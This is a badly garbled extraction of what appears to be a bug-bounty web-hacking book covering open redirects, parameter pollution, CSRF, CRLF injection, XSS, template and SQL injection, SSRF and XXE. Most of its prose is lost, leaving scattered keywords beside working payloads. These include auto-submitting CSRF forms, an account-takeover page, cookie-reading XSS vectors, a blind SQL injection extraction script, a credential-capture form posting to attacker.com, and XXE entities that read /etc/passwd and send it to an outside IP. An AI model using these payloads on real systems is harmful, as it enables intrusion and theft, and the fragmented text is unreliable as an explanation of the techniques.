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dig A site.com site.com



nc <IP ADDRESS> 80

nc

➊ GET / HTTP/1.1

➋ Host: www.google.com

➌ Connection: keep-alive

➍ Accept: application/html, */*

➎ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36



GET / ➊

/

/

GET

➋

➌

➍
application/html

*/*

application/html application/json

application/octet-stream text/plain

➎

➊ HTTP/1.1 200 OK

➋ Content-Type: text/html
<html>

<head>
<title>Google.com</title>

</head>
<body>

➌ --snip--
</body>

</html>



➊

➌
--snip--

➋

Location

HTTP/1.1 301 Found
Location: https://www.google.com/
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PUT PATCH DELETE

GET



GET

GET
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POST

POST

PUT

DELETE

TRACE



CONNECT

CONNECT

OPTIONS

OPTIONS

GET POST PUT DELETE

OPTIONS HEAD

TRACE

application/json

OPTIONS







<meta>

GET

https://www.google.com/?redirect_to=https://www.gmail.com

GET

redirect_to

GET redirect_to

Location Location GET

https://www.google.com/?redirect_to=https://www.attacker.com

redirect_to

GET

< >



url= redirect= next=

r= u=

<meta>

<meta>

GET

content

<meta http-equiv="refresh" content="0; url=https://www.google.com/">

content

content

0

content

GET

https://www.google.com

content

<meta>

location

location

location

window.location = https://www.google.com/
window.location.href = https://www.google.com
window.location.replace(https://www.google.com)

window.location



GET

https://app.shopify.com/services/google/themes/preview/supply--blue?
domain_name=attacker.com

domain_name

/admin

domain_name



domain_name

checkout_url

http://mystore.myshopify.com/account/login?checkout_url=.attacker.com



checkout_url



/redirect_to_account?state=

zendesk_session

<script>document.location.href = «http://evil.com»;</script>

<script> document

document

location

href

location



https://hackerone.com/zendesk_session?
locale_id=1&return_to=https://support.hackerone.com/
ping/redirect_to_account?state=compayn:/



redirect_to= domain_name= checkout_url=

r= u=





from to

amount

https://www.bank.com/transfer?from=12345&to=67890&amount=5000

from

https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF

from

ABCDEF

from



from

from

https://www.bank.com/transfer?to=67890&amount=5000

user.account = 12345

def prepare_transfer(➊params)
➋ params << user.account

➌ transfer_money(params) #user.account (12345) becomes params[2]
end



def transfer_money(params)

➍ to = params[0]

➎ amount = params[1]

➏ from = params[2]
transfer(to,amount,from)

end

prepare_transfer transfer_money

prepare_transfer params ➊
to amount

[67890,5000]

➋

[67890,5000,12345]

params params transfer_money ➌

transfer_money

params[0]

67890 to ➍
➎ ➏

transfer

from params

https://www.bank.com/transfer?to=67890&amount=5000&from=ABCDEF

from params

prepare_transfer

[67890,5000,ABCDEF] ➋
[67890,5000,ABCDEF,12345] transfer_money



prepare_transfer from

user.account 12345

ABCDEF ➍

➊ <? $val=htmlspecialchars($_GET['par'],ENT_QUOTES); ?>

➋ <a href="/page.php?action=view&par='.<?=$val?>.'">View Me!</a>

par

123%26action=edit par

& %26

%26 &

href

123&action=edit %26 &

par action

%26

123%26action=edit

par

par & %26

htmlspecialchars ➊ htmlspecialchars

%26 %26

&amp; &



$val $val

href ➋ <a href="/page.php?

action=view&par=123&amp;action=edit">

action=edit href

action



https://www.facebook.com/sharer.php?
u=https://hackerone.com/blog/introducing
-signal?&u=https://vk.com/durov

u

u

u

&text=

https://hackerone.com/blog/introducing-signal?&u=https://vk.com/
durov&text=another_site:https://vk.com/durov



https://twitter.com/i/u?
iid=F6542&uid=1134885524&nid=22+26&sig=647192e86e28fb6
691db2502c5ef6cf3xxx

UID UID

UID

UID

UID

https://twitter.com/i/u?
iid=F6542&uid=2321301342&uid=1134885524&nid=22+26&sig=
647192e86e28fb6691db2502c5ef6cf3xxx

SIG

SIG UID

URL

SIG UID

UID



UID

UID

UID

UID

UID



GET

https://twitter.com/intent/intentType?parameter_name=parameterValue

intentType

screen_name

screen_name

https://twitter.com/intent/follow?
screen_name=twitter&screen_name=ericrtest3

screen_name ericrtest3 twitter



screen_name

➊ <form class="follow" id="follow_btn_form" action="/intent/follow?screen
_name=ericrtest3" method="post">

<input type="hidden" name="authenticity_token" value="...">

➋ <input type="hidden" name="screen_name" value="twitter">

➌ <input type="hidden" name="profile_id" value="783214">
<button class="button" type="submit">

<b></b><strong>Follow</strong>
</button>

</form>

screen_name

screen_name

➋ ➌
ericrtest3

screen_name ➊

screen_name

https://twitter.com/intent/like?tweet_i.d=6616252302978211845&screen
_name=ericrtest3

tweet_id

screen_name

ericrtest3



UID





Authorization: Basic

QWxhZGRpbjpPcGVuU2VzYW1l

QWxhZGRpbjpPcGVuU2VzYW1l Aladdin:OpenSesame

domain expires max-age

secure httponly

domain



sessionId

sessionId=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08

domain .site.com

sessionId

secure httponly

secure

httponly

secure httponly

secure

httponly

expires max-age

expires

expires=Wed, 18 Dec 2019 12:00:00 UTC

max-age

max-age=300



GET POST

GET

<img>

GET POST

GET <img>

<img>

GET

POST

<img> GET <img>

src

<img> GET src



https://www.bank.com/transfer?from=bob&to=joe&amount=500

<img>

<img src="https://www.bank.com/transfer?from=bob&to=joe&amount=500">

<img>

GET

src

GET

POST

GET

POST

<img> <img> POST

POST

POST

application/x-www-form-urlencoded text/plain

text/plain



POST / HTTP/1.1
Host: www.google.ca
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101

Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 5

➊ Content-Type: text/plain;charset=UTF-8
DNT: 1
Connection: close
hello

➊

POST GET

➊ <iframe style="display:none" name="csrf-frame"></iframe>

➋ <form method='POST' action='http://bank.com/transfer' target="csrf-frame"
id="csrf-form">

➌ <input type='hidden' name='from' value='Bob'>
<input type='hidden' name='to' value='Joe'>
<input type='hidden' name='amount' value='500'>
<input type='submit' value='submit'>

</form>

➍ <script>document.getElementById("csrf-form").submit()</script>

POST ➋
<form>

<input> ➌ 'hidden'

<script>

➍
getElementByID()



"csrf-form" ➋
GET

POST

POST

display:none ➊

POST

application/json

application/json

POST

POST

X-CSRF-TOKEN

application/json POST OPTIONS

POST

OPTIONS

OPTIONS

POST

OPTIONS

OPTIONS

OPTIONS

POST

application/json



content-type application/x-www-form-urlencoded

multipart/form-data text/plain OPTIONS

POST

Access-Control-

Allow-Origin

POST

X-CSRF-TOKEN lia-token rt

form-id

POST

<form method='POST' action='http://bank.com/transfer'>
<input type='text' name='from' value='Bob'>
<input type='text' name='to' value='Joe'>
<input type='text' name='amount' value='500'>
<input type='hidden' name='csrf'

value='lHt7DDDyUNKoHCC66BsPB8aN4p24hxNu6ZuJA+8l+YA='>



<input type='submit' value='submit'>
</form>

POST

application/json application/x-www-form-

urlencoded GET POST

OPTIONS HTTP

application/json OPTIONS

HTTP GET application/x-www-

form-urlencoded

Origin Referer

Origin

Referer

samesite

strict lax strict



GET

strict samesite

samesite lax

GET

GET

lax

samesite

GET

https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect/

GET

GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com



User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0)
Gecko/20100101 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=REDACTED
Connection: keep-alive

GET

<html>
<body>

➊ <img src="https://twitter-
commerce.shopifyapps.com/auth/twitter/disconnect">

</body>
</html>

GET

<img> src ➊
<img>

GET

GET



POST

<html>
<body>

➊ <form action="https://admin.instacart.com/api/v2/zones" method="POST">

➋ <input type="hidden" name="zip" value="10001" />

➌ <input type="hidden" name="override" value="true" />

➍ <input type="submit" value="Submit request" />
</form>

</body>
</html>

POST /api/v2/zones ➊

10001 ➋ override true ➌
zip

POST

➍



rt

rt

application/json



url_stats

var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=

<➊rt_param_value>';

url_stats

rt

➊ rt

rt

POST

<html>
<head>

<title>Badoo account take over</title>

➊ <script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.
js?ws=1></script>

</head>
<body>

<script>

➋ function getCSRFcode(str) {
return str.split('=')[2];

}

➌ window.onload = function(){

➍ var csrf_code = getCSRFcode(url_stats);

➎ csrf_url = 'https://eu1.badoo.com/google/verify.phtml?
code=4/nprfspM3y

fn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df
679

219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;

➏ window.location = csrf_url;
};

</script>
</body>

</html>



src <script> ➊

window.onload

➌ onload

window.onload

csrf_code ➍
➋ getCSRFcode getCSRFcode

'='

url_stats

➍

https://eu1.badoo.com/chrome-push-stats?ws,1&rt,<rt_param_value>

rt csrf_code

csrf_url

➎

rt

csrf_code

rt

window.location ➏
csrf_url ➎

GET rt



rt

rt

POST

rt

POST

GET

GET

POST



<form>

<form>



➊ <form method='POST' action='http://attacker.com/capture.php' id='login-
form'>

<input type='text' name='username' value=''>
<input type='password' name='password' value=''>
<input type='submit' value='submit'>

</form>

action

➊



< >

>

&gt;

a &#97;

<h1>This is a test</h1>

&#60;&#104;&#49;&#62;&#84;&#104;&#105;&#115;&#32;&#105;&#115;&#32;&#97;&#32
;&#
116;&#101;&#115;&#116;&#60;&#47;&#104;&#49;&#62;

<h1>

&#85;&#115;&#101;&#114;&#110;&#97;&#109;&#101;&#58;&#60;&#98;&#114;&#62;&#1
0;&
#60;&#105;&#110;&#112;&#117;&#116;&#32;&#116;&#121;&#112;&#101;&#61;&#34;&#
116
;&#101;&#120;&#116;&#34;&#32;&#110;&#97;&#109;&#101;&#61;&#34;&#102;&#105;&
#11
4;&#115;&#116;&#110;&#97;&#109;&#101;&#34;&#62;&#10;&#60;&#98;&#114;&#62;&#
10;
&#80;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&#58;&#60;&#98;&#114;&#62;&#1
0;&



#60;&#105;&#110;&#112;&#117;&#116;&#32;&#116;&#121;&#112;&#101;&#61;&#34;&#
112
;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&#34;&#32;&#110;&#97;&#109;&#101;
&#6
1;&#34;&#108;&#97;&#115;&#116;&#110;&#97;&#109;&#101;&#34;&#62;

Username:<br>
<input type="text" name="firstname">
<br>
Password:<br>
<input type="password" name="lastname">

%2F

/



#

# Some Content

<h1>Some Content</h1>

<a>

title

[test](https://torontowebsitedeveloper.com "Your title tag here")

title

<a href="https://torontowebsitedeveloper.com" title="Your title tag
here">test</a>

<meta>



<meta> <meta>

<meta>

content

GET

GET

<meta>

<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=

0

content

<html>
<head>

<meta http-equiv="refresh" content=➊'0; url=https://evil.com/log.php?
text=

</head>
<body>

<h1>Some content</h1>
--snip--
<input type="hidden" name="csrf-token" value= "ab34513cdfe123ad1f">
--snip--

<p>attacker input with '➋ </p>
--snip--

</body>
</html>

content

➊ ➋
text



dangerouslySetInnerHTML

dangerouslySetInnerHTML

<meta>

<meta>



[test](http://www.torontowebsitedeveloper.com "test ismap="alert xss"
yyy="test"")

title

title

ismap=

yyy=

<a title="test" ismap="alert xss" yyy="test" ref="http://
www.toronotwebsitedeveloper.com">test</a>



access_denied error

https://withinsecurity.com/wp-login.php?error=access_denied

error

https://withinsecurity.com/wp-login.php?
error=Your%20account%20has%20been%20
hacked%2C%20Please%20call%20us%20this%20number%20919876543210%20OR%20Drop%2
0
mail%20at%20attacker%40mail.com&state=cb04a91ac5%257Chttps%253A%252F%252Fwi
thi
nsecurity.com%252Fwp-admin%252F#



access_denied







%0D %0A

\n \r



httponly

Location

Location



GET

%0d%0a

last_shop

last_shop

%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20
text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html>

last_shop

%20

➊ Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html



Content-Length: 19

➋ <html>deface</html>

0 ➊

19

➋

%0D%0A %0A%20

GET



reported_tweet_id

%0A

56 0A

%E5%98%8A %E3 %98 %8A



%E5%98%8A 56 0A

56

0A

56 0D

%0D

%E5%98%8A%E5%98%8DSet-Cookie:%20test

%0A %0D

%0A%0DSet-Cookie:%20test

Set-

Cookie: test

https://twitter.com/login?redirect_after_login=https://twitter.com:21/%E5
%98%8A%E5%98%8Dcontent-
type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5
%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%29%E5%98%BE

%E5%98%8A %E5%98%8D %E5%98%BC %E5%98%BE

%0A %0D %3C %3E

%3C

< %3E >

https://twitter.com/login?redirect_after_login=https://twitter.com:21/
content-type:text/html



location:
<svg/onload=alert(innerHTML)>

content-type text/html

Location

<svg> alert(innerHTML)

innerHTML innerHTML

%0D%0A

%0D%0A

%0D%0A



" ' <

>



" &quot; &#34;

' &apos; &#39;

< &lt; &#60;

> &gt; &#62;

<script></script>

<script>alert(document.domain);</script>

<script></script>

alert

alert

document

httponly

httponly

document.cookie

document.domain



document.domain

GET



about:blank javascript:

about:blank

javascript:

alert(document.domain)

javascript:

javascript:alert(document.domain)

javascript:alert(document.domain)

<script>

value

<input type="text" name="username" value="hacker" width=50px>

value

value hacker"

onfocus=alert(document.cookie) autofocus "

<input type="text" name="username" value="hacker"
onfocus=alert(document.cookie) autofocus "" width=50px>

autofocus

onfocus

autofocus onfocus



document.cookie

<script>

name

<script>
var name = 'hacker';

</script>

hacker name

hacker';alert(document.cookie);'

<script>
var name = 'hacker';alert(document.cookie);'';

</script>

name

<script>

alert(document.cookie)

;'

'; name

';





<html>
<body>

<h1>Hi <span id="name"></span></h1>
<script>document.getElementById('name').innerHTML=location.hash.split('

#')
[1]</script>

</body>
</html>

getElementById 'name'

<h1>

<span id="name"></span>

innerHTML <span>

</span> location.hash

# location

<h1><span id="name">Peter</span>

</h1> #

<span>

x

<html>
<body>

<h1>Hi <span id="name"><img src=x onerror=alert(document.domain)>



</span>
</h1>

<script>document.getElementById('name').innerHTML=location.hash.split('
#')

[1]</script>
</body>

</html>

<h1>

document.domain

<img> onerror

POST



"><script>alert('XSS')</script>

alert('XSS')

<> &lt;

&gt;



<script></script>

test';alert('XSS');'

'XSS'

var search_term =

'<INJECTION>' test';

alert('XSS');

'

var search_term = 'test';alert('xss');

'';



${{ }}

${{amount}}

"><img src=x onerror=alert(document.domain)>

">

x src

onerror

alert(document.domain)





<img>

onload onerror

<img>

<img>

src

width height

<INPUT TYPE="checkbox" CHECKED="hello" NAME="check box">

CHECKED

<INPUT TYPE="checkbox" CHECKED= NAME="check box">

CHECKED NAME="check

box

<img>



<img ismap='xxx' itemtype='yyy style=width:100%;height:100%;position:fixed;
left:0px;top:0px; onmouseover=alert(/XSS/)//'>

<img ismap= itemtype='yyy'
style=width:100%;height:100%;position:fixed;left:

0px;top:0px; onmouseover=alert(/XSS/)//>

ismap <img>

'xxx'

yyy

'xxx'

yyy

<img>

onmouseover=alert(/XSS/)

src



imgurl

<a> href

imgurl javascript:alert(1)

href

javascript:alert(1)

javascript:alert(1)

alert

javascript:alert(1)

alert

onmousedown



href



#"><img src=/

onerror=alert(3)>

onerror alert(3)

"data": {
"name": "#"><img src=/ onerror=alert(3)>",
"type": "AUTO_EVENT_VAR",
"autoEventVarMacro": {

"varType": "HISTORY_NEW_URL_FRAGMENT"
}

}

name



SID

"><svg onload=confirm(1)>

<svg>

onload

alert

confirm prompt write

[function () {
/*
XSS prevention via JavaScript
*/
var XSSObject = new Object();
XSSObject.lockdown = function(obj,name) {

if (!String.prototype.startsWith) {
try {

if (Object.defineProperty) {
Object.defineProperty(obj, name, {

configurable: false
});



}
} catch (e) { };

}
}
XSSObject.proxy = function (obj, name, report_function_name,

➊exec_original)
{

var proxy = obj[name];
obj[name] = function () {

if (exec_original) {
return proxy.apply(this, arguments);

}
};
XSSObject.lockdown(obj, name);

};

➋ XSSObject.proxy(window, 'alert', 'window.alert', false);
XSSObject.proxy(window, 'confirm', 'window.confirm', false);
XSSObject.proxy(window, 'prompt', 'window.prompt', false);
XSSObject.proxy(window, 'unescape', 'unescape', false);
XSSObject.proxy(document, 'write', 'document.write', false);
XSSObject.proxy(String, 'fromCharCode', 'String.fromCharCode', true);
}]();

exec_original

➊ XSSObject proxy

false

➋

XSSObject proxy

document.write

SID

javascript:document.write=HTMLDocument.prototype.write;document.write('STRU
KT');

write

write

HTMLDocument write



HTMLDocument

document.write('STRUKT')

write writeln

writeln

write

writeln

";}{document.writeln(decodeURI(location.hash))-"#<img src=1
onerror=alert(1)>

alert

alert

";}

{ document.writeln

writeln

decodeURI writeln

%22 " location.hash

decodeURI #

-"

#<img src=1 onerror=alert(1)>

#

location.hash #

<img src=1 onerror=alert(1)>

%3Cimg%20src%3D1%20onerror%3Dalert%281%29%3E%20

decodeURI



<img src=1 onerror=alert(1)>

writeln

<img>

1 src

1

";}{document.writeln(decodeURI(location.hash))-"#<iframe
src=javascript:alert(document.domain)><iframe>

<img>

<iframe> src

alert(document.domain)

document.domain

alert



<img src=x onerror=alert(document.domain)>

javascript:alert(document.domain) href





{{ }}

<%= %>

{{7*7}}

49 7*7

49

7*7



dangerouslySetInnerHTML

Angular.version

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}
}

{{4+4}} 8

{{4*4}} {{44}}

() []



wrtz49

7*7

ng-

alert

https://developer.uber.com/docs/deep-linking?
q=wrtz{{(_="".sub).call.call({}
[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)
")
()}}zzzz

alert(1)

{{7*7}}



{{1+1}}



{{1+1}} 2

{% for c in [1,2,3]%} {{c,c,c}} {%

endfor %}

[1,2,3]

for







render

render render

params[:template] params[:template]

params

template

render

render

render

template=%2fetc%2fpasswd

<%25%3d`ls`%25>

<%=

`ls` %>



render inline:

inline: render

render

{{7*7}}

49



7*7 {{7*7}}

7*7

{self::getStreamVariable("file:///proc/self/loginuuid")}

getStreamVariable

{$smarty.version}

{$smarty.version}

{php} {/php}



{php}print "Hello"{/php}

print

{php}$s=file_get_contents('/etc/passwd');var_dump($s);{/php}

file_get_contents $s $s

var_dump

file_get_contents

{php}$s=file_get_contents('/etc/passwd',NULL,NULL,0,100);var_dump($s);
{/php}

'/etc/passwd' 0 100

0

100









name users

1

SELECT name FROM users WHERE id = 1;

$name = ➊$_GET['name'];
$query = "SELECT * FROM users WHERE name = ➋'$name' ";

➌ mysql_query($query);

$_GET[] ➊

$name $query ➋
$query

users name

name

$query mysql_query ➌
name

test' OR 1='1

https://www example.com?name=test' OR 1='1

$query = "SELECT * FROM users WHERE name = 'test➊' OR 1='1➋' ";

'

test ➊ OR 1='1

OR 1='1

➋



AND OR

WHERE name

test 1='1' true

'1' 1 1 true

users test' OR

1='1

$name = $_GET['name'];

$password = ➊mysql_real_escape_string($_GET['password']);
$query = "SELECT * FROM users WHERE name = '$name' AND password =
'$password' ";

password

➊ test' OR 1='1

$query = "SELECT * FROM users WHERE name = 'test' OR 1='1' AND password =
'12345' ";

name test 1='1'

password 12345

AND

12345

password

;--, test' OR 1='1;--

; --

SELECT * FROM users WHERE name = 'test' OR

1='1'; AND password = '12345'

--





-- year

SELECT * FROM players WHERE year = 2010 AND type = 20 AND round = 2;

year

SELECT * FROM PLAYERS WHERE year = 2010-- AND type = 20 AND round = 2;



year



year --

year

(2010)and(if(mid(version(),1,1))='5',true,false))--

version()

mid



version()

mid 1

1

if

if

version

5 true false

year

and

2010

and true true 2010 and false false

version 5



if

p

eyJ1c2VyX2lkIjogIjU3NTUiLCAicmVjZWl2ZXIiOiAib3JhbmdlQG15bWFpbCJ9

{"user_id": "5755", "receiver":



"orange@mymail"} and

sleep(12) = 1 p

{"user_id": "5755 and sleep(12)=1", "receiver": "orange@mymail"}

sleep(12)

sleep

1 sleep

user

user

mid

user mid

'a' 'b' 'c'

user

user



➊ import json
import string
import requests
from urllib import quote
from base64 import b64encode

➋ base = string.digits + string.letters + '_-@.'

➌ payload = {"user_id": 5755, "receiver": "blog.orange.tw"}

➍ for l in range(0, 30):

➎ for i in base:

➏ payload['user_id'] = "5755 and mid(user(),%d,1)='%c'#"%(l+1, i)

➐ new_payload = json.dumps(payload)
new_payload = b64encode(new_payload)
r =

requests.get('http://sctrack.email.uber.com.cn/track/unsubscribe.
do?p='+quote(new_payload))

➑ if len(r.content)>0:
print i,
break

import ➊

- _ @ . ➋
base ➌

➏ for ➍ ➎
➏

user_id ➌
mid

%d %c

%d

%c



"

➏ %d

%c

%d l+1 l

1 %c i #

l i ➍ ➎
l in range (0,30) ➍ l 0 l

user

➎ base

l 0

i a mid ➏
"5755 and mid(user(),0,1)='a'#"

for l

0 i b "5755 and mid(user(),0,1)='b'#"

l

base ➏
➐
base64encode

➑
i

user ➍
l 1

sendcloud_w@10.9.79.210

sendcloud user



database ➏

sendcloud

sleep



IN

SELECT * FROM users WHERE name IN



('peter', 'paul', 'ringo'); users

name peter paul ringo

IN

$this->expandArguments($query, $args);
$stmt = $this->prepareQuery($query);
$stmt->execute($args, $options);

expandArguments

IN expandArguments

prepareQuery execute

expandArguments

--snip--

➊ foreach(array_filter($args, `is_array`) as $key => $data) {

➋ $new_keys = array();

➌ foreach ($data as $i => $value) {
--snip--

➍ $new_keys[$key . '_' . $i] = $value;
}

--snip--
}

['red' => 'apple', 'yellow' => 'banana']

'red' 'yellow'

=>

['apple', 'banana']

'apple' 0

'banana' 1



foreach

➊
foreach

array_filter($args, 'is_array')

$key

$data foreach

➋

➌ $data

$i $value ➍
new_keys ➋

➌
name_0 name_1

db_query

db_query("SELECT * FROM {users} WHERE name IN (:name)",
array(':name'=>array('user1','user2')));

db_query

:name

'user1' 'user2'

'user1' 0 'user2' 1

db_query expandArguments

name_0

name_1

SELECT * FROM users WHERE name IN (:name_0, :name_1)

db_query



db_query("SELECT * FROM {users} where name IN (:name)",
array(':name'=>array('test);-- ' => 'user1', 'test' => 'user2')));

:name 'test);--' 'test'

expandArguments :name

SELECT * FROM users WHERE name IN (:name_test);-- , :name_test)

expandArguments

$i 'test);--' $value 'user1' $key

':name' $i name_test);--

$i 'test' $value 'user2'

$key $i name_test

IN

IN

INSERT

IN

name

[]









GET POST POST

POST

POST

GET

POST

GET POST



whoami

whoami



whoami



url=





url=



dig



id 60520
opcode QUERY
rcode REFUSED
flags QR RD RA



;QUESTION
www.rcesecurity.com IN A
;ANSWER
;AUTHORITY
;ADDITIONAL

id 54403
opcode QUERY
rcode NOERROR
flags QR RD RA
;QUESTION
ad.corp.google.com IN A
;ANSWER
ad.corp.google.com. 58 IN A 100.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 100.REDACTED
;AUTHORITY
;ADDITIONAL



100.REDACTED

172.REDACTED

dig A ad.corp.google.com @8.8.8.8
; <<>> DiG 9.8.3-P1 <<>> A ad.corp.google.com @8.8.8.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 5981
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;ad.corp.google.com. IN A
;; AUTHORITY SECTION:
corp.google.com. 59 IN SOA ns3.google.com. dns-admin.google.com.
147615698
900 900 1800 60
;; Query time: 28 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Wed Feb 15 23:56:05 2017
;; MSG SIZE rcvd: 86

id 34583
opcode QUERY
rcode NOERROR
flags QR RD RA
;QUESTION
ad.corp.google.com IN NS
;ANSWER
ad.corp.google.com. 1904 IN NS hot-dcREDACTED
ad.corp.google.com. 1904 IN NS hot-dcREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS vmgwsREDACTED
ad.corp.google.com. 1904 IN NS hot-dcREDACTED
ad.corp.google.com. 1904 IN NS vmgwsREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS twd-dcREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS twd-dcREDACTED
;AUTHORITY
;ADDITIONAL









<h1> </h1>

<h1>

<table> <p>



➊ <?xml version="1.0" encoding="UTF-8"?>

➋ <Jobs>

➌ <Job>

➍ <Title>Hacker</Title>

➎ <Compensation>1000000</Compensation>

➏ <Responsibility fundamental="1">Shot web</Responsibility>
</Job>

</Jobs>

➊

<Jobs> ➋ <Job> ➌ <Job>

<Title> ➍ <Compensation> ➎ <Responsibility> ➏

<Responsibility> Responsibility

fundamental 1

➏

<foo>

</foo> <foo></foo>



➊ <!ELEMENT Jobs (Job)*>

➋ <!ELEMENT Job (Title, Compensation, Responsibility)>

<!ELEMENT Title ➌(#PCDATA)>
<!ELEMENT Compensation (#PCDATA)>
<!ELEMENT Responsibility (#PCDATA)>

<➍!ATTLIST Responsibility ➎fundamental ➏CDATA ➐"0">

!ELEMENT Jobs

Job Jobs

Job Job Title Compensation

Responsibility ➋
(#PCDATA) ➌

(#PCDATA)

Responsibility

!ATTLIST ➍ ➎ CDATA ➏

Responsibility 0 ➐

<!DOCTYPE>

<!DOCTYPE ➊note ➋SYSTEM ➌"jobs.dtd">

<!DOCTYPE> note ➊

SYSTEM ➋
➌ note ➊



<!DOCTYPE>

➊ <?xml version="1.0" encoding="UTF-8"?>

➋ <!DOCTYPE Jobs [
<!ELEMENT Jobs (Job)*>
<!ELEMENT Job (Title, Compensation, Responsibility)>
<!ELEMENT Title (#PCDATA)>
<!ELEMENT Compensation (#PCDATA)>
<!ELEMENT Responsibility (#PCDATA)>
<!ATTLIST Responsibility fundamental CDATA "0"> ]>

➌ <Jobs>
<Job>

<Title>Hacker</Title>
<Compensation>1000000</Compensation>
<Responsibility fundamental="1">Shot web</Responsibility>

</Job>
</Jobs>

➊
!DOCTYPE

➋
➌

<Jobs>

!ENTITY



& ;

SYSTEM

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
--snip--
<!ATTLIST Responsibility fundamental CDATA "0">

➊ <!ELEMENT Website ANY>

➋ <!ENTITY url SYSTEM "website.txt">
]>
<Jobs>

<Job>
<Title>Hacker</Title>
<Compensation>1000000</Compensation>
<Responsibility fundamental="1">Shot web</Responsibility>

➌ <Website>&url;</Website>
</Job>

</Jobs>

Website !ELEMENT (#PCDATA)

ANY ➊ Website

!ENTITY SYSTEM

url website ➋ ➌
website

&url; &

&



!ENTITY "website.txt"

"/etc/passwd"

<?xml version="1.0" encoding="UTF-8"?>

➊ <!DOCTYPE foo [

➋ <!ELEMENT foo ANY >

➌ <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]
>

➍ <foo>&xxe;</foo>

foo ➊ foo

➋ xxe

&xxe;

➌
<foo> &xxe; ➍

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [

<!ELEMENT foo ANY >

➊ <!ENTITY % xxe SYSTEM "file:///etc/passwd" >

➋ <!ENTITY callhome SYSTEM ➌"www.malicious.com/?%xxe;">



]
>
<foo>&callhome;</foo>

callhome ➋
➌

➌ %xxe ➊

➌

% & callhome

%xxe; ➊ %

&





<!DOCTYPE root [

➊ <!ENTITY % file SYSTEM "file:///etc/passwd">

➋ <!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">

➌ %dtd;

➍ %send;
]>

%dtd; ➌
➋

➎ <!ENTITY send SYSTEM 'http://197.37.102.90/FACEBOOK-HACKED?%file;'>

%dtd;

%send; ➎ %send; ➍
http://197.37.102.90/FACEBOOK-HACKED?%file;

➎ %file; ➊
%file; ➎



Last login: Tue Jul 8 09:11:09 on console

➊ Mohamed:~ mohaab007$ sudo python -m SimpleHTTPServer 80
Password:

➋ Serving HTTP on 0.0.0.0 port 80...

➌ 173.252.71.129 - - [08/Jul/2014 09:21:10] "GET /ext.dtd HTTP/1.0" 200 -
173.252.71.129 - -[08/Jul/2014 09:21:11] "GET /ext.dtd HTTP/1.0" 200 -
173.252.71.129 - - [08/Jul/2014 09:21:11] code 404, message File not

found

➍ 173.252.71.129 - -[08/Jul/2014 09:21:10] "GET /FACEBOOK-HACKED? HTTP/1.0"
404

➊
"Serving HTTP on 0.0.0.0 port 80..." ➋

➌
➍





{linenos=on}

➊ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1

http://www.topografix
.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000"

maxlat="40.881475000"
maxlon="-8.037170000"/>
<trk>

➋ <name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>

--snip--

➊
➋

HTTP GET

<!DOCTYPE roottag [

➊ <!ENTITY % file SYSTEM "file:///etc/issue">



